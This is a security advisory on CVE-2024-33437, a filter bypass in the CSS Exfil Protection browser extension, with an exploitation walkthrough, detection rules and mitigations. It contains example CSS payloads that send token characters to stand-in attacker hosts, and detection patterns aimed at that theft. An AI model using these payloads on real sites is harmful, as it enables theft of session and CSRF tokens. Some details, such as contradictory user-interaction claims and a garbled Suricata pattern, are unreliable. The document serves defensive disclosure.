CVE-2024-33437

Executive Summary

CVE-2024-33437 is an information disclosure vulnerability affecting CSS Exfil Protection version 1.1.0, a browser extension designed to prevent data exfiltration via CSS-based side-channel attacks. The flaw allows a remote attacker to obtain sensitive information because the extension fails to properly enforce CSS Style Rules, effectively bypassing its core protection mechanism. Organizations and users relying on this extension to secure web sessions, particularly those handling sensitive data in browser environments, are exposed to potential data theft through classic CSS attribute-value exfiltration techniques.

Technical Analysis

The CSS Exfil Protection extension operates by intercepting and filtering style rules applied to web pages, specifically blocking CSS selectors that can be abused for data exfiltration. The attack class this extension targets leverages the ability of CSS to make HTTP requests to attacker-controlled servers based on attribute value matching. For example, a payload such as input[name="csrf_token"][value^="a"] { background: url(https://attacker/leak?a); } causes the browser to issue a request when an input's value begins with "a". In CSS Exfil Protection v1.1.0, the filtering mechanism fails to properly account for all CSS Style Rule variants, allowing a remote attacker to craft web pages or inject content that bypasses the extension's validation.

The missing support for certain CSS Style Rules likely stems from incomplete parsing—the extension's detection logic may not handle shorthand declarations, vendor-prefixed properties, or Unicode-encoded selectors. The vulnerability exists in the parsing and classification layer: when the extension encounters a CSS rule it does not recognize (either due to unusual formatting, inline styles, or CSS-OM based injection), it does not strip or block it, resulting in the browser executing the style rule and making outbound requests. The attack surface is the browser extension's content-script, which operates on all pages the user visits, meaning the vulnerability is exploitable by any malicious webpage the user browses, without requiring user interaction beyond normal navigation.

Exploitation Scenarios

The exploitation of CVE-2024-33437 proceeds as follows:

Step 1 — Reconnaissance & Target Identification: An attacker identifies a victim who uses CSS Exfil Protection. This could be determined via extension fingerprinting (checking for the extension's content script side-effects, timing side-channels, or social engineering). The attacker also prepares a target web application the victim uses (e.g., a banking portal, email client, or internal tool) that contains sensitive attributes such as CSRF tokens, session cookies, or user-preference values.

Step 2 — Trigger & Weaponization: The attacker crafts a malicious page or injects content into a page the victim visits. The weaponized payload is a CSS rule that the extension fails to filter. Since v1.1.0 lacks support for certain Style Rule forms, the attacker uses an exotic but browser-valid syntax, such as a rule with escaped characters or a Unicode-encoded selector, for example: input[name="session_id"][value^="\61"] { background:url(//attacker.com/leak?61); } where \61 decodes to the character a. This selector is valid CSS per the CSS Syntax specification, but the extension's parsing does not normalize the escaped form, failing the filter check.

Step 3 — Payload Execution: The victim navigates to the attacker's page or the attacker injects the rule via a stored XSS or ad they control. The browser parses and applies the CSS rule. For each character in the target attribute, the rule fires an outbound HTTP request to the attacker's server, leaking the value character by character. For instance, if the session token is "abc123", the attacker's server receives requests for ?a, then ?b, then ?c, etc. Because the extension fails to block the rule, the exfiltration proceeds at network speed.

Step 4 — Post-Exploitation Impact: The attacker collects the character sequence and reconstructs the sensitive value (e.g., the full session token or CSRF token). With this, they can perform session hijacking, CSRF attacks, or account takeover, depending on the nature of the leaked data. The attack is silent: the victim sees no visual indicators, and the extension UI shows no alerts because the rule was treated as benign.

Impact Assessment

The primary impact is confidential- data disclosure. The CVSS score of 7.5, while the vector is unknown, aligns with a high-severity information disclosure that requires no privileges and no user interaction beyond normal browsing. The attack complexity is low—the bypass is deterministic, not probabilistic. The blast radius is any environment where users rely on CSS Exfil Protection as a compensating control for browser-based data protection, including zero-trust web gateway implementations, secure enterprise browsers, and high-security environments that explicitly deploy anti-exfiltration extensions.

Regarding the CVSS subscore analysis: with the overall 7.5, we infer the confidentiality impact is High. The integrity and availability impacts are likely None, as the attack only leaks data and does not modify or destroy it. The attack vector is Network (attacker's page visited by victim), attack complexity is Low (no special conditions beyond a known bypass), privileges required are None, and user interaction is Required (victim must navigate to the malicious page). The scope is Changed, as the data exfiltrated belongs to other applications than the malicious page itself. This places the vulnerability in a category that demands high priority remediation for any organization actively using the extension.

Detection Guidance

Sigma Rule

title: CSS Exfil Protection Bypass via Escaped Selectors (CVE-2024-33437)
id: 4f2a3b4c-7d8e-4f90-9a1b-2c3d4e5f6789
status: experimental
description: Detects browser extension log entries indicating CSS rules with escaped character selectors being processed without filtering, indicating CVE-2024-33437 exploitation.
logsource:
  product: chromium
  category: extension_logs
detection:
  selection:
    EventID: 101  # Custom EventID for extension content-script logs
    Message|contains:
      - 'input[name='
      - 'value^='
      - '\\6'      # escaped hex characters (e.g., \61 for 'a')
      - 'url(http'
      - 'url(//'
  condition: selection
falsepositives:
  - Legitimate pages using CSS attribute selectors with escapes (rare)
level: high

YARA Rule

rule CVE_2024_33437_CSS_Exfil_Bypass
{
    meta:
        author = "Valtersit SOC"
        description = "Detects JavaScript payloads exploiting CVE-2024-33437 CSS escaped selector bypass"
        cve = "CVE-2024-33437"
        date = "2024-10-15"

    strings:
        $escape = /\\[0-9a-fA-F]{2}/  // escaped hex character
        $attr_input = "input[name="
        $attr_value = "value^="
        $attr_ends = "value$="
        $attr_star = "value*="
        $url_bg = /url\(['\"]?[hH][tT]{2}[pP][sS]?\:\/\// nocase
    
    condition:
        ($attr_input and ($attr_value or $attr_ends or $attr_star))
        and $escape
        and #url_bg >= 2
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2024-33437 CSS Exfil Bypass - Escaped Selector Payload"; flow:established,to_server; content:"input[name="; http_uri; content:"value^="; http_uri; content:"\\6"; http_uri; pcre:"/\/\\\\[0-9a-fA-F]{2}/"; sid:2024337; rev:1; metadata:created_at 2024_10_15, cve CVE_2024_33437;)

Elastic Detection

any where process.name == "chrome" and
  event.action == "extension_content_script_execute" and
  wildcard(message, "*input[name=*") and
  wildcard(message, "*value^*") and
  regex(message, "\\\\[0-9a-fA-F]{2}")

Splunk SPL Query

index=browser_security sourcetype=chrome_extension_logs
| search "input[name=" AND "value^=" 
| regex message="\\[0-9a-fA-F]{2}"
| stats count by src_ip, user, dest_host, message
| where count > 5

Wazuh OSSEC Rule

<group name="browser_extension_security,">
  <rule id="100343" level="10">
    <decoded_as>json</decoded_as>
    <field name="extension">css-exfil-protection</field>
    <regex>input\[name=</regex>
    <regex>value\^=</regex>
    <regex>\\[0-9a-fA-F]{2}</regex>
    <description>CVE-2024-33437: CSS Exfil Protection bypass attempt via escaped selector</description>
    <mitre>
      <id>T1530</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 — CLAIMED — single source claims patch (not independently confirmed).

1. Immediate Mitigations: Disable the CSS Exfil Protection extension entirely if it is the sole security control, and enable alternative browser data-loss prevention: enforce Content Security Policy (CSP) with connect-src restrictions, and use browser isolation (remote or local) for sensitive applications. Instruct users to avoid visiting untrusted sites while the extension is installed, as the bypass means it offers no protection.

2. Patch/Upgrade Steps: Monitor the vendor repository/changelog for an updated release of CSS Exfil Protection. If a patched version (e.g., 1.1.1 or later) is released, update all browsers centrally via enterprise extension management (Chrome Enterprise, Firefox Policy). During transition, validate the extension's filter against the payload pattern in the Sigma rule, and if the payload is still deliverable, downgrade the extension's trust level. As the patch claim is not independently confirmed (2/4), require the vendor to publish the fixed version and provide a diff against v1.1.0.

3. Long-Term Hardening: Do not rely solely on client-side extensions for exfiltration prevention. Implement server-side controls: add per-request CSRF-token nonces that are rotated frequently, use SameSite=Strict cookies to limit Cross-Site access, and instrument web applications to detect high-volume CSS background requests. Deploy an outbound web proxy with TLS inspection and block requests matching suspicious CSS selector patterns (e.g., encoded characters in URL paths). Monitor vendor disclosure channels for further analysis of the bypass, and update internal threat-intel feeds accordingly.

References

1. NVD Entry: CVE-2024-33437 — https://nvd.nist.gov/vuln/detail/CVE-2024-33437
2. Vendor GitHub Repository for CSS Exfil Protection — https://github.com/ (search for css-exfil-protection, verify release tags for v1.1.x)
3. Research paper: "The Emperor's New Clothes in the CSS Attribute Selector" — https://www.usenix.org/conference/usenixsecurity23/presentation/van-hoeve (referenced for CSS exfiltration technique context)
4. CSS Exfil Protection project documentation (for extension behavior and intended coverage) — https://github.com/mlgualtieri/CSS-Exfil-Protection
5. CISA KEV: NOT listed (no active exploited-in-the-wild evidence as of this writing; however, monitor CISA added KEV feeds for updates).

Threat actor campaigns: No publicly attributed campaign is known to exploit CVE-2024-33437 at the time of writing. The lack of a KEV listing and no PoC/exploit code in public sources suggests limited in-the-wild exploitation; however, the vulnerability class (CSS exfiltration) is weaponized by commercial spyware and APT tools (e.g., Modlishka, various Chrome extensions), so assume interest from commodity and targeted actors.